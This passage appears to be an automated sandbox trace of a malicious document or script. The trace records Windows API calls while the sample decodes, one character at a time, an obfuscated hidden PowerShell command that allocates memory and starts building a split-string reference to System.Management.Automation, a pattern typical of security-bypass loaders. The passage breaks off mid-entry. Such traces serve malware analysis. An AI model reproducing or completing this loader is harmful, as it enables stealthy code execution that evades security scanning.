rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.090] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.091] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.091] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.091] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.091] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.091] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.092] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.092] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.092] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.092] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.092] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.092] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.092] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0072.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.092] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.093] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.093] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.093] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0072.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0072.093] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'e", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.093] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.093] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.093] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0072.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0072.093] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'en", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.094] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.094] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.094] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0072.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0072.094] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.094] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.094] VarParseNumFromStr (in: strIn="&H82", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.094] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="‚") returned 1 [0072.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0072.095] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.", bstrRight="A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.095] VarBstrCat (in: bstrLeft="&H", bstrRight="EA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.095] VarParseNumFromStr (in: strIn="&HEA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.095] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="ê") returned 1 [0072.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ꣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0072.095] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.A", bstrRight="u", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.095] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.095] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.095] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.096] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.096] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.096] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.096] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.097] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.097] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.097] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.097] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.097] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.097] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.097] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.097] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0072.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0072.097] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.098] VarBstrCat (in: bstrLeft="&H", bstrRight="DE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.098] VarParseNumFromStr (in: strIn="&HDE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.098] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0072.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0072.098] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'t", bstrRight="o", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.098] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.098] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.098] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0072.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0072.098] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'to", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.099] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.099] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.099] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0072.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0072.099] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'tom", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.099] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.099] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.099] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.099] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.100] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.100] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.100] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 